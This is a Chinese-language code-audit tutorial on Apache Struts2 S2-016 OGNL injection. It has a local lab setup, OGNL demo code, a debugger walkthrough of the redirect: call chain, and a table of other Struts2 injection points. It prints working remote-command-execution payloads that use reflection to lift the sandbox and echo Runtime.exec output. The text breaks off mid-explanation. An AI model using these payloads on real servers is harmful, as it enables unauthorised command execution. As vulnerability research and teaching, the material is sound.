代码审计 | Struts2 —— S2-016 OGNL 注入原理

代码审计 | Struts2 ------ S2-016 OGNL 注入原理

本文是 Struts2 漏洞系列的第一篇,以 S2-016 为切入点,重点搞清楚 OGNL 注入的原理。Payload 极简,但背后的机制值得细细拆解。


目录

  • 一、环境搭建与漏洞复现
  • [二、URL 编码的那点细节](#二、URL 编码的那点细节 "#%E4%BA%8Curl-%E7%BC%96%E7%A0%81%E7%9A%84%E9%82%A3%E7%82%B9%E7%BB%86%E8%8A%82")
  • [三、Payload 结构拆解](#三、Payload 结构拆解 "#%E4%B8%89payload-%E7%BB%93%E6%9E%84%E6%8B%86%E8%A7%A3")
  • [四、OGNL 语法入门](#四、OGNL 语法入门 "#%E5%9B%9Bognl-%E8%AF%AD%E6%B3%95%E5%85%A5%E9%97%A8")
  • 五、表达式注入类比
  • [六、OGNL 示例代码](#六、OGNL 示例代码 "#%E5%85%ADognl-%E7%A4%BA%E4%BE%8B%E4%BB%A3%E7%A0%81")
    • [示例 1:基础用法](#示例 1:基础用法 "#%E7%A4%BA%E4%BE%8B-1%E5%9F%BA%E7%A1%80%E7%94%A8%E6%B3%95")
    • [示例 2:root 对象与 context 的区别](#示例 2:root 对象与 context 的区别 "#%E7%A4%BA%E4%BE%8B-2root-%E5%AF%B9%E8%B1%A1%E4%B8%8E-context-%E7%9A%84%E5%8C%BA%E5%88%AB")
  • [七、搭建 Struts2 靶场(本地复现)](#七、搭建 Struts2 靶场(本地复现) "#%E4%B8%83%E6%90%AD%E5%BB%BA-struts2-%E9%9D%B6%E5%9C%BA%E6%9C%AC%E5%9C%B0%E5%A4%8D%E7%8E%B0")
    • [新建 Tomcat 项目](#新建 Tomcat 项目 "#%E6%96%B0%E5%BB%BA-tomcat-%E9%A1%B9%E7%9B%AE")
    • 四个文件配置
    • 验证漏洞触发
    • [Struts2 完整请求流程](#Struts2 完整请求流程 "#struts2-%E5%AE%8C%E6%95%B4%E8%AF%B7%E6%B1%82%E6%B5%81%E7%A8%8B")
  • 八、代码审计
    • 入口:StrutsPrepareAndExecuteFilter
    • [executeAction 与 ActionMapping](#executeAction 与 ActionMapping "#executeaction-%E4%B8%8E-actionmapping")
    • [struts-default.xml 与各版本注入点](#struts-default.xml 与各版本注入点 "#struts-defaultxml-%E4%B8%8E%E5%90%84%E7%89%88%E6%9C%AC%E6%B3%A8%E5%85%A5%E7%82%B9")
    • 顺着调用链往下走
    • [核心触发:conditionalParse → OGNL 执行](#核心触发:conditionalParse → OGNL 执行 "#%E6%A0%B8%E5%BF%83%E8%A7%A6%E5%8F%91conditionalparsegnl-%E6%89%A7%E8%A1%8C")
    • 漏洞根因总结
  • [九、Payload 调试与完整利用](#九、Payload 调试与完整利用 "#%E4%B9%9Dpayload-%E8%B0%83%E8%AF%95%E4%B8%8E%E5%AE%8C%E6%95%B4%E5%88%A9%E7%94%A8")
    • [简单 RCE Payload(无回显)](#简单 RCE Payload(无回显) "#%E7%AE%80%E5%8D%95-rce-payload%E6%97%A0%E5%9B%9E%E6%98%BE")
    • 问题:静态方法被拦截
    • [Payload 2:绕过静态方法限制](#Payload 2:绕过静态方法限制 "#payload-2%E7%BB%95%E8%BF%87%E9%9D%99%E6%80%81%E6%96%B9%E6%B3%95%E9%99%90%E5%88%B6")
    • [Payload 3:命令回显版](#Payload 3:命令回显版 "#payload-3%E5%91%BD%E4%BB%A4%E5%9B%9E%E6%98%BE%E7%89%88")
  • 十、总结

一、环境搭建与漏洞复现

用 vulhub 起环境,很方便:

bash 复制代码
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-016
docker-compose up -d

起来之后访问 http://127.0.0.1:8080/

用 Yakit 抓个包看看原始请求长什么样:

这是原始的包:

把 GET 请求的 URL 参数换成下面这个 Payload(已 URL 编码):

perl 复制代码
/index.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D@java.lang.Runtime@getRuntime().exec(%22id%22)%2C%23b%3Dnew+java.io.InputStreamReader(%23a.getInputStream())%2C%23c%3Dnew+java.io.BufferedReader(%23b)%2C%23d%3D%23c.readLine()%2C%23matt%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23matt.getWriter().println(%23d)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D

可以看到命令执行结果被正常回写了:


二、URL 编码的那点细节

这里有个小问题------上面的 Payload 是自己手动 URL 编码过的,如果直接发送未编码版本:

less 复制代码
/index.action?redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("id"),#b=new java.io.InputStreamReader(#a.getInputStream()),#c=new java.io.BufferedReader(#b),#d=#c.readLine(),#matt=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#matt.getWriter().println(#d),#matt.getWriter().flush(),#matt.getWriter().close()}

不仅没有返回命令结果,还直接 400 了:

这里有个细节:浏览器的自动编码并不是对整个 URL 都编码,它只编码它认为"需要编码"的字符,有些字符浏览器认为是 URL 的合法字符就不会动。

比如 # 这个字符:

  • 浏览器认为 # 是锚点符号(fragment identifier),# 后面的内容浏览器直接截断,不会发给服务端
  • Payload 里大量用了 #_memberAccess#context#a 这些,浏览器看到第一个 # 就认为后面是页面锚点,直接不发了,服务端收到的请求是残缺的

而手动编码的版本里 # 变成了 %23,浏览器不认识这是锚点,原样发给服务端,服务端 URL decode 之后才还原成 #,OGNL 正常执行。

小结:

  • # 在 URL 里有特殊含义(锚点)
  • 浏览器不会自动把 # 编码成 %23
  • 所以含 # 的 Payload 必须手动提前编码好再放进 URL

三、Payload 结构拆解

把 Payload 格式化出来看更清楚:

shell 复制代码
redirect:${
  // 第一步:关闭方法执行限制
  #context["xwork.MethodAccessor.denyMethodExecution"]=false,

  // 第二步:开启静态方法访问(用反射改掉这个字段)
  #f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),
  #f.setAccessible(true),
  #f.set(#_memberAccess,true),

  // 第三步:执行命令
  #a=@java.lang.Runtime@getRuntime().exec("id"),

  // 第四步:读取输出
  #b=new java.io.InputStreamReader(#a.getInputStream()),
  #c=new java.io.BufferedReader(#b),
  #d=#c.readLine(),

  // 第五步:写回 Response 实现回显
  #matt=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
  #matt.getWriter().println(#d),
  #matt.getWriter().flush(),
  #matt.getWriter().close()
}

五步走,先撬锁再执行,后面代码审计的时候会挨个对应。


四、OGNL 语法入门

在搞清楚漏洞细节之前,先把 OGNL 是什么搞明白,不然后面看代码会很懵。

OGNL 是什么

OGNL = Object-Graph Navigation Language ,对象图导航语言。Struts2 用它来做表达式求值,比如在页面上取值 ${user.name} 这种。

它本质上就是一个可以在运行时执行 Java 代码的表达式引擎。

OGNL 基本语法

java 复制代码
// 访问对象属性
user.name

// 调用方法
user.getName()

// 调用静态方法(关键)
@java.lang.Runtime@getRuntime()

// 创建对象
new java.io.BufferedReader(...)

// 访问上下文变量(# 开头)
#context
#_memberAccess
#request
#response

# 开头的变量是访问 OGNL 上下文里的对象,Struts2 把很多关键对象都放在上下文里,比如 HttpServletRequestHttpServletResponse,所以能直接拿来用。

注意:OGNL 里没有 import 机制,不认识短类名,必须写类的全限定名,比如 @java.lang.Runtime@getRuntime(),不能简写成 @Runtime@getRuntime()

为什么能执行系统命令

Java 里执行系统命令的标准写法:

java 复制代码
Runtime.getRuntime().exec("id");

翻译成 OGNL:

less 复制代码
@java.lang.Runtime@getRuntime().exec("id")

完全一一对应,OGNL 就是把 Java 代码用表达式的方式写出来,能写什么取决于你能调用哪些 Java API。

为什么需要前两行绕过

shell 复制代码
#context["xwork.MethodAccessor.denyMethodExecution"]=false
#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")
#f.setAccessible(true)
#f.set(#_memberAccess,true)

Struts2 默认:

  • denyMethodExecution=true → 禁止调用方法
  • allowStaticMethodAccess=false → 禁止调用静态方法

@java.lang.Runtime@getRuntime() 是静态方法调用,不关掉这两个限制直接报错,所以要先用反射把这两个字段改掉,相当于把安全锁撬开,再去执行后面的命令。

整个执行流程

bash 复制代码
用户输入 redirect:${...}
        ↓
Struts2 解析 redirect: 前缀
        ↓
把后面的 ${...} 丢给 OGNL 引擎求值
        ↓
OGNL 引擎执行里面的 Java 表达式
        ↓
Runtime.exec("id") 被执行
        ↓
结果写回 HttpServletResponse

问题就在第三步------用户输入的内容被当成代码执行了,这就是注入漏洞的本质。


五、表达式注入类比

SSTI 和 OGNL 注入的共同本质

arduino 复制代码
用户输入  →  被当成"可执行的东西"处理  →  代码执行

区别只在于"可执行的东西"是什么:

漏洞类型 解析引擎
SSTI(Jinja2/Twig/Freemarker) 模板引擎解析用户输入
OGNL 注入(Struts2) OGNL 表达式引擎解析用户输入
EL 注入(Spring) EL 表达式引擎解析用户输入

都是同一类漏洞,叫表达式注入,SSTI 只是其中模板引擎那个分支的名字。

具体类比

Jinja2 SSTI:

python 复制代码
# 服务端
template = "Hello " + user_input  # 用户输入被拼进模板
render(template)                   # 模板引擎执行

# Payload
{{7*7}}          →  返回 49
{{config.items()}}  →  读配置

Struts2 OGNL:

java 复制代码
// 服务端
String result = user_input  // redirect: 后面的内容
ognl.evaluate(result)       // OGNL 引擎执行

// Payload
${1+1}                                        →  返回 2
${@java.lang.Runtime@getRuntime().exec("id")} →  RCE

逻辑完全一样,只是语法不同。

为什么 OGNL 比 Jinja2 SSTI 更危险

Jinja2 要 RCE 需要找绕过沙箱的链,比较麻烦。OGNL 直接就是 Java 表达式,Runtime.exec() 就在那里,调用路径短得多,而且 Java 反射能力极强,沙箱再严也容易绕。

完全可以把 OGNL 注入理解成 Java 世界的 SSTI


六、OGNL 示例代码

光看概念还是有点抽象,自己写代码跑一跑感受更直观。新建一个 Java Maven 空项目。

示例 1:基础用法

pom.xml 里加上 OGNL 依赖:

xml 复制代码
<dependencies>
    <dependency>
        <groupId>ognl</groupId>
        <artifactId>ognl</artifactId>
        <version>3.0.8</version>
    </dependency>
</dependencies>
java 复制代码
package com;

import ognl.Ognl;
import ognl.OgnlContext;

public class OgnlDemo {
    public static void main(String[] args) throws Exception {

        // 1. 最简单:数学计算
        // Ognl.getValue()    →  OGNL 引擎的入口方法,把第一个参数当表达式执行
        // "1+1"              →  表达式字符串,就是要执行的"代码"
        // new OgnlContext()  →  OGNL 上下文,存放 #context #request 这些变量的容器,现在是空的
        // new Object()       →  root 对象,表达式里不带 # 的属性访问从这里找,现在也是空的
        Object result = Ognl.getValue("1+1", new OgnlContext(), new Object());
        System.out.println("1+1 = " + result);  // 输出 2

        // 2. 调用 Java 静态方法
        // @java.lang.System@  →  OGNL 调用静态类的语法,@ 开头 @ 结尾包住类名,表示访问这个类
        // getProperty('os.name') →  调用 System.getProperty() 静态方法
        // 翻译成普通 Java:String result2 = System.getProperty("os.name");
        Object result2 = Ognl.getValue(
                "@java.lang.System@getProperty('os.name')",
                new OgnlContext(),
                new Object()
        );
        System.out.println("OS: " + result2);  // 输出操作系统名

        // 3. 模拟用户输入被当成表达式执行(漏洞本质)
        // userInput 是一个普通字符串,但被传进了 Ognl.getValue()
        // 字符串就变成了可执行的代码
        String userInput = "@java.lang.Runtime@getRuntime().exec('calc')";
        Ognl.getValue(userInput, new OgnlContext(), new Object());
        // Windows 下直接弹计算器
    }
}

运行效果:

三段代码都执行了。

关键点就在这里:

  • userInput 是一个普通字符串
  • 但是被传进了 Ognl.getValue()
  • 字符串就变成了可执行的代码

这就是注入漏洞的本质------数据和代码的边界消失了


示例 2:root 对象与 context 的区别

OGNL 里有两种访问方式,搞清楚 rootcontext 的区别很重要,Payload 里大量用到 # 前缀就是在访问 context

java 复制代码
package com;

import ognl.Ognl;
import ognl.OgnlContext;

public class OgnlDemo2 {

    // 模拟一个普通的 Java 对象,作为 root
    static class User {
        //两个私有字段
        private String name = "张三";
        private int age = 18;
        //一个公共的字段
        public int c = 10;

        public String getName() { return name; }
        public int getAge() { return age; }

        public String sayHello() {
            return "Hello, 我是" + name;
        }

        public int add(int a, int b) {
            return a + b;
        }
    }

    public static void main(String[] args) throws Exception {

        // ==================== 准备环境 ====================
        User user = new User();       // root 对象,不带 # 的表达式从这里找属性
        OgnlContext context = new OgnlContext();  // context 上下文,带 # 的表达式从这里找

        // 模拟 Struts2 往 context 里塞关键对象
        context.put("myVar", "hello");
        context.put("num", 100);
        context.put("user2", new User());

        // ==================== 访问 root 对象 ====================
        // 直接写属性名,从 root 对象找
        // 私有字段会自动调用 getter,没有 getter 就会报错
        Object r1 = Ognl.getValue("name", context, user);
        System.out.println("root.name = " + r1);  // 张三

        Object r2 = Ognl.getValue("age", context, user);
        System.out.println("root.age = " + r2);   // 18

        // 公共字段可以直接访问
        Object r3 = Ognl.getValue("c", context, user);
        System.out.println("root.c = " + r3);     // 10

        // 调用 root 对象的方法
        Object r4 = Ognl.getValue("sayHello()", context, user);
        System.out.println("sayHello() = " + r4); // Hello, 我是张三

        Object r5 = Ognl.getValue("add(1, 2)", context, user);
        System.out.println("add(1, 2) = " + r5);  // 3

        // ==================== 访问 context 变量 ====================
        // # 开头,从 context 这个 Map 里找
        Object c1 = Ognl.getValue("#myVar", context, user);
        System.out.println("#myVar = " + c1);      // hello

        Object c2 = Ognl.getValue("#num + 1", context, user);
        System.out.println("#num+1 = " + c2);      // 101

        // 访问 context 里存的对象的属性
        Object c3 = Ognl.getValue("#user2.name", context, user);
        System.out.println("#user2.name = " + c3); // 张三

        Object c4 = Ognl.getValue("#user2.sayHello()", context, user);
        System.out.println("#user2.sayHello() = " + c4); // Hello, 我是张三

        // ==================== 在 context 里赋值 ====================
        // # 变量可以在表达式里直接赋值,相当于声明临时变量
        // Payload 里的 #matt = #context.get(...) 就是这种写法
        Ognl.getValue("#tmp = 'world'", context, user);
        Object c5 = Ognl.getValue("#tmp", context, user);
        System.out.println("#tmp = " + c5);        // world

        // 链式赋值 + 计算
        Ognl.getValue("#a = #num, #b = #a + 99, #b", context, user);
        Object c6 = Ognl.getValue("#b", context, user);
        System.out.println("#b = " + c6);          // 199
    }
}

运行结果:

这个示例把 OGNL 里 root#context 的用法都演示了一遍,Payload 里的 #matt=#context.get("...") 就是从 context 这个 Map 里取出 HttpServletResponse,然后用它写回显,原理就是这样。


七、搭建 Struts2 靶场(本地复现)

后面要做代码审计,需要一个自己能调试的 Struts2 环境。

新建 Tomcat 项目

新建一个 Tomcat 项目(配置过程就不赘述了):

访问 http://localhost:8080/ 可以正常访问:

四个文件配置

pom.xml 里加上 Struts2 依赖,找到 <dependencies> 标签加进去:

xml 复制代码
<dependency>
    <groupId>org.apache.struts</groupId>
    <artifactId>struts2-core</artifactId>
    <version>2.3.15</version>
</dependency>

加完 Maven 刷新一下,然后按顺序把下面四个文件建好。


第一个:HelloAction.java

src/main/java 下建包 com.demo,新建 HelloAction.java

java 复制代码
package com.demo;

// ActionSupport 是 Struts2 提供的基类,继承它就能获得 Struts2 的标准功能
// 所有 Action 类一般都继承它
import com.opensymphony.xwork2.ActionSupport;

public class HelloAction extends ActionSupport {

    // Struts2 会自动把 URL 参数绑定到 Action 的字段上
    // 比如请求 ?name=张三,Struts2 自动调用 setName("张三")
    // 原理就是 OGNL 的属性绑定机制
    private String name;

    public String getName() { return name; }
    public void setName(String name) { this.name = name; }

    // execute() 是 Struts2 默认调用的方法,请求进来之后框架自动调这个
    // SUCCESS 是 ActionSupport 里定义的常量,值就是字符串 "success"
    // 返回 SUCCESS 就跳转到 struts.xml 里配置的 result
    public String execute() throws Exception {
        return SUCCESS;
    }
}

整个流程:

bash 复制代码
请求 /index.action
        ↓
Struts2 找到对应的 HelloAction
        ↓
自动把 URL 参数绑定到字段(OGNL 做的)
        ↓
调用 execute()
        ↓
返回 "success"
        ↓
跳转到 index.jsp

第二个:struts.xml

src/main/resources 下新建 struts.xml

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
        "http://struts.apache.org/dtds/struts-2.3.dtd">

<struts>
    <package name="default" namespace="/" extends="struts-default">
        <action name="index" class="com.demo.HelloAction">
            <result name="success">/index.jsp</result>
        </action>
    </package>
</struts>

解释一下各属性:

ini 复制代码
<package name="default" namespace="/" extends="struts-default">

name="default"           →  这个包的名字,随便起,唯一就行
namespace="/"            →  URL 命名空间,/ 表示根路径
                            访问 /index.action 而不是 /demo/index.action
extends="struts-default" →  继承 Struts2 内置的默认包
                            里面预置了所有拦截器和结果类型
                            包括处理 redirect: 的结果类型也在这里

<action name="index" class="com.demo.HelloAction">

name="index"                 →  对应 URL 里的 index.action
class="com.demo.HelloAction" →  请求来了实例化这个类处理

<result name="success">/index.jsp</result>

name="success"  →  对应 execute() 返回的字符串 "success"
/index.jsp      →  返回 success 就跳转到这个页面

和 S2-016 漏洞的关系:

extends="struts-default" 这行是关键,struts-default 里预置了 redirect 结果类型:

xml 复制代码
<!-- struts-default.xml 里内置的,我们看不到但它存在 -->
<result-type name="redirect"
             class="org.apache.struts2.dispatcher.ServletRedirectResult"/>

用户请求 ?redirect:${...} 的时候,Struts2 识别 redirect: 前缀,调用 ServletRedirectResult 处理,然后把后面的 ${...} 丢给 OGNL 执行,漏洞就在这里触发。

所以这个配置文件看起来没问题,但继承了 struts-default 就自动带进来了漏洞的触发路径。


第三个:web.xml

src/main/webapp/WEB-INF 下找到 web.xml,内容换成:

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
         http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
         version="3.1">

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

</web-app>

没有这个 Filter,Struts2 根本不工作,它是整个框架的入口,所有请求都从这里过。


第四个:index.jsp

src/main/webapp/index.jsp 内容换成:

jsp 复制代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<body>
    <h1>Hello, ${name}</h1>
</body>
</html>

验证漏洞触发

四个文件建好之后启动 Tomcat,访问 http://localhost:8080/index.action

访问 http://localhost:8080/index.action?name=wrold,返回 Hello, wrold

然后试试触发 OGNL 表达式,访问:

bash 复制代码
http://localhost:8080/index.action?redirect:${1+1}

发现返回的是 HTTP 400 -- Bad Request,原因是 Tomcat 在解析请求行时发现里面有非法字符(冒号、花括号、加号),根据 RFC 7230 和 RFC 3986,这些字符在查询参数里必须经过百分号编码。

把 URL 里的特殊字符编码后再访问:

perl 复制代码
http://localhost:8080/index.action?redirect%3A%24%7B1%2B1%7D

返回的是 404"Not Found"(资源不存在):

但注意到 URL 路径变成了:

arduino 复制代码
http://localhost:8080/2

说明内部已经解析了参数 redirect:${1+1}

  • 框架识别了 redirect: 前缀
  • 框架对 ${1+1} 进行了表达式求值(OGNL)
  • 服务器发送了 302 重定向响应,客户端自动跳转到 /2
  • 然后客户端去访问 http://localhost:8080/2,而这个资源不存在,所以最终返回 404

OGNL 已经执行了,只是结果被用作重定向目标,后面代码审计会看得很清楚。


Struts2 完整请求流程

scss 复制代码
请求 /index.action?name=张三
        ↓
Filter 拦截(StrutsPrepareAndExecuteFilter)
        ↓
根据 struts.xml 找到 HelloAction
        ↓
实例化 HelloAction 对象
        ↓
【参数绑定】
遍历所有 URL 参数
对每个参数名用 OGNL 执行:HelloAction.setName("张三")
        ↓
执行 execute()
        ↓
返回 success 跳转 index.jsp
        ↓
JSP 里 ${name} 用 OGNL 调用 HelloAction.getName()
        ↓
显示 张三

所以本质上就是 Struts2 把每个 URL 参数名当成 OGNL 表达式执行了一遍,这也是早期 S2-003/S2-005 漏洞的根源------参数名本身就能注入 OGNL。


八、代码审计

环境搭好了,开始看代码是怎么走的。

没有源代码的话可以去 Maven 中央仓库下载:

bash 复制代码
https://repo1.maven.org/maven2/org/apache/struts/struts2-core/2.3.15/struts2-core-2.3.15-sources.jar

入口:StrutsPrepareAndExecuteFilter

先根据 web.xml 里的 StrutsPrepareAndExecuteFilter 找到源文件,在 doFilter 打个断点:

这里面出现了大量 prepare 字段,简单解释一下,就是 Filter 里的两个阶段:

vbscript 复制代码
doFilter()
    ↓
prepare.wrapRequest()        ← Prepare 阶段
  - 初始化 ActionContext
  - 把 request/response/session 塞进 OGNL context
  - 解析请求参数,绑定到 Action 字段
        ↓
execute.executeAction()      ← Execute 阶段
  - 根据 struts.xml 找 Action
  - 实例化 Action 类
  - 调用 execute() 方法
  - 处理返回结果(redirect/dispatcher)

executeAction 与 ActionMapping

重点在 execute.executeAction 方法:

除了 RequestResponse 参数,还有一个 mapping 参数,可以看到参数里面的内容:

mappingActionMapping 对象,存的是 Struts2 解析完 URL 之后得到的路由信息:

ini 复制代码
请求 /index.action?redirect:${1+1}
        ↓
Struts2 解析 URL
        ↓
ActionMapping {
    name      = "index"               ← action 名字
    namespace = "/"                   ← 命名空间
    method    = "null"                ← 没指定方法,默认用 execute()
    extension = 'action'              ← 后缀是 .action
    result    = ServletRedirectResult ← 识别出 redirect: 前缀,指定了结果处理类
}

struts-default.xml 与各版本注入点

这个文件在 struts2-core.jar 包里,框架自带的:

struts.xml 里写了 extends="struts-default",就把这些内置 result 类型全部继承过来了,所以 Struts2 解析到 redirect: 前缀的时候,直接查这个表找到对应的 ServletRedirectResult 类。

redirect: 只是其中一个注入点,Struts2 历史上被找到的注入点非常多:

版本 注入点 Payload 特征
S2-003/005 参数名本身 ?(%27%23_memberAccess...)=xxx
S2-016 redirect:/redirectAction: 前缀 ?redirect:${...}
S2-032 method: 前缀 ?method:${...}
S2-045 Content-Type 请求头 multipart 解析时触发
S2-046 Content-Disposition 的 filename 字段 multipart 解析时触发
S2-052 请求 body(XML 反序列化) REST 插件解析 XML 时触发
S2-057 namespace URL 路径本身被当 OGNL 执行

规律就一条:凡是用户能控制的输入,被 Struts2 拿去做了 OGNL 求值,就是漏洞。

从 URL 参数名、参数值前缀、请求头、请求体、文件名、命名空间,基本上能想到的地方都被找过一遍了,这也是为什么 Struts2 漏洞那么多,根本原因是框架过度依赖 OGNL,到处都在求值。


顺着调用链往下走

进入 executeAction

可以看到 dispatcher.serviceAction(request, response, servletContext, mapping) 里多了个 servletContext,非常眼熟------内存马那里见过:

java 复制代码
// Listener 内存马里静态注册用到过
ServletContext context = request.getServletContext();
context.addFilter(...)    ← 动态注册 Filter
context.addServlet(...)   ← 动态注册 Servlet

进入 createContextMap,可以看到 URL 里面的 redirect:${1+1} 被传入了参数 params,其他变量都是空的:

这也意味着请求的数据里有很多都会经过这个处理,都有可能成为注入点。

接着进入 createContextMap 构造 extraContext

在这个构造参数里,可以看到非常多的 put 方法,把各种对象塞进 Map,也就是把 request/response/session 塞进 OGNL context 的地方。这个 Map extraContext 最终就是 OGNL 的 context,所以 Payload 里才能用 #context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse") 取出 response 对象。

进一步跟进,发现 map 里面的参数被取出,加上有表达式的 OGNL context extraContext 一起被封装到了一个代理里面:

arduino 复制代码
createActionProxy(
    namespace,    // 命名空间 "/"
    name,         // action 名字 "index"
    method,       // 方法名 null(默认 execute)
    extraContext, // OGNL context,塞了 request/response 等
    true,         // executeResult,是否执行 result
    false         // cleanupContext,是否清理 context
)

接下来在这里检测 redirect

ini 复制代码
mapping.getResult() 拿到的就是之前在 ActionMapping 里看到的:
result = org.apache.struts2.dispatcher.ServletRedirectResult

Struts2 在解析 URL 的时候就已经识别了 redirect: 前缀,把 ServletRedirectResult 存进了 mapping,现在这里把它取出来直接执行:

result.execute()super.execute(),这里调用父类的 execute,可以看到继承的是 StrutsResultSupport

StrutsResultSupport.execute() 里看到一个 location 变量,值是 ${1+1},这个时候表达式已经被提取出来了:

具体的截取逻辑在 DefaultActionMapper 里面:

常量 REDIRECT_PREFIX,值是 "redirect:",就是处理 redirect: 前缀的:

java 复制代码
put(REDIRECT_PREFIX, new ParameterAction() {
    public void execute(String key, ActionMapping mapping) {

        ServletRedirectResult redirect = new ServletRedirectResult();
        container.inject(redirect);

        // 直接截取 redirect: 后面的内容
        // key = "redirect:${1+1}"
        // substring 之后 location = "${1+1}"
        // 没有任何过滤,原封不动
        redirect.setLocation(key.substring(REDIRECT_PREFIX.length()));

        mapping.setResult(redirect);
    }
});

把未经过滤的用户输入存进 ServletRedirectResult.location,再存进 ActionMapping,后面取出来直接丢给 OGNL 执行。


核心触发:conditionalParse → OGNL 执行

父类的 execute 里面:

java 复制代码
lastFinalLocation = conditionalParse(location, invocation);

这行是重点:

invocationActionInvocation 对象,和之前的 ActionProxy 有关,里面有各种参数和环境。

conditionalParse 方法就在下面:

parseStrutsResultSupport 的一个成员变量,默认值是 true,这个条件默认就满足。parse 这个开关本来是给开发者用的,表示"是否解析表达式",但默认是 true,而且用户输入没有经过任何过滤就到了这里,所以等于把 RCE 的大门直接敞开了。

进入 TextParseUtil.translateVariables(源码在 xwork-core 里):

bash 复制代码
https://repo1.maven.org/maven2/org/apache/struts/xwork/xwork-core/2.3.15.1/xwork-core-2.3.15.1-sources.jar

expression 就是表达式 ${1+1}translateVariables 方法里的第一个参数是一个数组,包含 %$

java 复制代码
new char[]{'$', '%'}

这说明 Struts2 同时支持两种表达式语法:

  • ${} → 标准 OGNL 表达式,S2-016 用这个
  • %{} → 同样是 OGNL 表达式,S2-045 的 Payload 用这个

两个符号都会被识别然后丢给 OGNL 执行,所以 S2-045 的 Payload 里用 %{...} 也能触发,根本原因就在这里。

然后经过几个构造方法来到最后一个:

这个就是核心的漏洞触发代码:

java 复制代码
Object result = parser.evaluate(openChars, expression, ognlEval, maxLoopCount);
  • openChars{'$', '%'},告诉 parser 要识别这两种符号
  • expression"${1+1}",要扫描的完整字符串
  • ognlEval → 回调函数,parser 提取完内容之后调用它执行 OGNL
  • maxLoopCount → 最大循环次数,防止死循环,比如 ${${1+1}} 这种嵌套表达式

evaluate 方法就是匹配字符的逻辑:

这个机制让我想到了之前看过的 Log4j 的代码------类似 %{"$"}{1+1} 这种,第一次解析变成 ${1+1} 然后再次解析,两者思路是一样的。

第三个参数 ognlEvalParsedValueEvaluator 对象,里面的 Object o = stack.findValue(parsedValue, asType) 是执行表达式的最终地方。

evaluate 里:

java 复制代码
String var = expression.substring(start + 2, end);  // 提取表达式,跳过前面的 ${
// 所以 var = "1+1"
// 然后丢给 evaluator.evaluate("1+1") 执行

调用了 ognlEval 这个回调,最后来到:

这里的代码就和前面的示例代码类似了:

ini 复制代码
参数:
expr    = "1+1"        ← 用户输入的表达式
context = OGNL context ← 里面有 request/response/session
root    = Action 对象  ← HelloAction 实例
asType  = String.class ← 期望返回类型

ognlUtil.getValue() 里面就是调用 OGNL 库的:

java 复制代码
Ognl.getValue(expr, context, root)

处理完后把结果处理成字符串返回:

然后经过一系列返回,回到父类的 execute 方法:

接下来是 doExecute 的方法,其中第一个参数 lastFinalLocation 就是表达式的返回值 2

方法的最后面就是:

java 复制代码
sendRedirect(response, finalLocation);

也就是页面的重定向了,这也是为什么表达式注入的时候 URL 变成了 /2


漏洞根因总结

完整调用链:

scss 复制代码
用户输入 redirect:${1+1}
        ↓
DefaultActionMapper.evaluate()
截取 location = "${1+1}"
        ↓
ServletRedirectResult.execute()
        ↓
StrutsResultSupport.conditionalParse()
        ↓
TextParseUtil.translateVariables()
        ↓
OgnlTextParser.evaluate()
substring 提取 "1+1"
        ↓
evaluator.evaluate("1+1")
        ↓
stack.findValue("1+1")
        ↓
OgnlUtil.getValue()
        ↓
Ognl.getValue("1+1", context, root)
        ↓
返回 2
  • conditionalParse() → 执行 OGNL,得到结果 "2"
  • doExecute() → 拿结果去 redirect,和 OGNL 没关系了

漏洞触发在 conditionalParse()doExecute() 只是善后,执不执行都无所谓,RCE 已经发生了。

复制代码
用户输入 → substring 截取 → setLocation → conditionalParse → OGNL 执行
全程没有任何过滤和验证

只要写法是 ?redirect:${OGNL 表达式} 就能触发,根据看到的代码,能触发的注入点远远不止 redirect: 这一种。


九、Payload 调试与完整利用

简单 RCE Payload(无回显)

因为没有任何过滤,随便写能用的 OGNL 代码即可,先试最简单的:

perl 复制代码
/index.action?redirect:%24%7B%40java.lang.Runtime%40getRuntime().exec(%22calc%22)%7D

也就是:

java 复制代码
redirect:${@java.lang.Runtime@getRuntime().exec("calc")}

问题:静态方法被拦截

发包之后发现计算器没有正常弹出,而是重定向到了 /

调试发现 expr 就是 @java.lang.Runtime@getRuntime().exec("calc.exe"),数据正常传入了:

但经过 OGNL 返回的 o 确实是 null

这说明数据正常输入了,没有被过滤,但经过 OGNL 处理时却失败了。跟进 ognlEval 里看看怎么回事:

ruby 复制代码
findValue
>> tryFindValueWhenExpressionIsNotNull
>> tryFindValue
>> getValue
>> ...

最后到了 SecurityMemberAccess.isAccessible()

java 复制代码
if (Modifier.isStatic(modifiers)) {
    if (member instanceof Method && !getAllowStaticMethodAccess()) {
        allow = false;
        // ...
    }
}

这就是拦截静态方法的地方:

kotlin 复制代码
检测到是静态方法调用
        ↓
getAllowStaticMethodAccess() 返回 false
        ↓
allow = false
        ↓
if (!allow) return false
        ↓
